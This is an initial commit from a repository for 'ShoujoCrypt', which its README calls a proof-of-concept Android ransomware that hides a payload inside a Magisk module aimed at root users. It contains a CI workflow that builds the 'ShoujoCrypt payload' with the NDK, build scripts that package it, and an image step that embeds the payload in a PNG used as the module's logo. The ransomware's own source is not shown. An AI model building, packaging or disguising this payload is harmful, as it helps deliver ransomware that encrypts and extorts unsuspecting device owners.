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init: Push codebase
Signed-off-by: manigohan <manigohan@national.shitposting.agency>
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‎.gitattributes‎

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module/bin/curl/arm64-v8a/libcurl.so filter=lfs diff=lfs merge=lfs -text
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module/bin/curl/armeabi-v7a/libcurl.so filter=lfs diff=lfs merge=lfs -text
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src/jni/prebuilt/ filter=lfs diff=lfs merge=lfs -text

‎.github/media/decryption.png‎

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‎.github/media/execution.png‎

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‎.github/workflows/build.yml‎

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name: Build
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on:
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push:
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jobs:
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build_shoujo:
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name: Build ShoujoCrypt
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runs-on: ubuntu-latest
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steps:
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- name: Checkout sources
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uses: actions/checkout@v4
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with:
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lfs: true
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- name: Pull LFS objects
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run: git lfs checkout
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- name: Setup Java
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uses: actions/setup-java@v4
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with:
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distribution: 'temurin'
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java-version: 21
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- name: NDK Setup
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uses: nttld/setup-ndk@v1.5.0
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with:
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ndk-version: r27c
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- name: Build ShoujoCrypt payload
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run: |
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ndk-build
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working-directory: src/jni
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- name: Upload lib
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uses: actions/upload-artifact@v4
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with:
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name: lib
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path: src/jni/libs
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- name: Upload obj
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uses: actions/upload-artifact@v4.6.2
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with:
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name: obj
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path: src/obj
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build_module:
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name: Build OverlayService and module
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runs-on: ubuntu-latest
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steps:
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- name: Checkout sources
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uses: actions/checkout@v4
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with:
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lfs: true
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- name: Pull LFS objects
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run: git lfs checkout
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- name: Setup Java
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uses: actions/setup-java@v4
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with:
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distribution: 'temurin'
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java-version: 21
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- name: Setup Gradle
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uses: gradle/actions/setup-gradle@v4
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- name: Build with Gradle
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run: |
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./gradlew build
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./gradlew assembleDebug
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working-directory: src/OverlayServiceProject
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- name: Build module
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run: |
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cp src/OverlayServiceProject/app/build/outputs/apk/debug/app-debug.apk module/overlay.apk
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bash ./build.sh
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- name: Upload module
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uses: actions/upload-artifact@v4
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with:
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name: module
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path: out/shoujocrypt.zip

‎.gitignore‎

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src/jni/obj
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src/jni/libs
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out/
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src/image_payload/payload.png
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src/image_payload/offset

‎.vscode/settings.json‎

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{
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"files.associations": {
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"aes.h": "c",
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"stdio.h": "c",
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"err.h": "c"
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},
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"C_Cpp.errorSquiggles": "disabled"
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}

‎LICENSE‎

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This is free and unencumbered software released into the public domain.
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Anyone is free to copy, modify, publish, use, compile, sell, or
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distribute this software, either in source code form or as a compiled
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binary, for any purpose, commercial or non-commercial, and by any
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means.
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In jurisdictions that recognize copyright laws, the author or authors
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of this software dedicate any and all copyright interest in the
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software to the public domain. We make this dedication for the benefit
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of the public at large and to the detriment of our heirs and
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successors. We intend this dedication to be an overt act of
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relinquishment in perpetuity of all present and future rights to this
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software under copyright law.
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THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
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EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
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MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
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IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
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OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
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ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
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OTHER DEALINGS IN THE SOFTWARE.
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For more information, please refer to <https://unlicense.org/>

‎README.md‎

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# ShoujoCrypt
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#### A moe-themed proof-of-concept Android ransomware
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## Prologue
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*ShoujoCrypt* is a [Proof-of-Concept](https://en.wikipedia.org/wiki/Proof_of_concept) [ransomware](https://en.wikipedia.org/wiki/Ransomware) targetting [Android](https://en.wikipedia.org/wiki/Android_(operating_system)) *root users* by hiding a payload inside a [Magisk](https://github.com/topjohnwu/Magisk) module.
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# Execution flow
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<img src=".github/media/execution.png">
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# Acknowledgements
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- [Rem01Gaming](https://github.com/Rem01Gaming) for helping me with Android NDK
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# Licensing
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This project is under the public domain by [Unlicense](https://unlicense.org/).
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# Dependencies
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- [curl](https://curl.se/libcurl/) ([license](https://curl.se/docs/copyright.html))
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- [OpenSSL](https://openssl-library.org/) ([license](https://raw.githubusercontent.com/openssl/openssl/refs/heads/master/LICENSE.txt))

‎build.sh‎

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#!/bin/bash
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set -e
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# This is to be ran after building the ShoujoCrypt payload and OverlayService
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export PROJECT_ROOT="$PWD"
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export build="$PROJECT_ROOT/build"
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if [ -e "$PROJECT_ROOT/out" ]; then
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rm -rf $PROJECT_ROOT/out
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mkdir $PROJECT_ROOT/out
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else
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mkdir $PROJECT_ROOT/out
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fi
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echo -e "Made output directory at $PROJECT_ROOT/out"
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bash $build/image.sh
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bash $build/zipitup.sh
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echo -e "Done!"

‎build/image.sh‎

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#!/bin/bash
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bash $PROJECT_ROOT/src/image_payload/embed.sh
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cp $PROJECT_ROOT/src/image_payload/offset $PROJECT_ROOT/module/
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cp $PROJECT_ROOT/src/image_payload/payload.png $PROJECT_ROOT/module/logo.png

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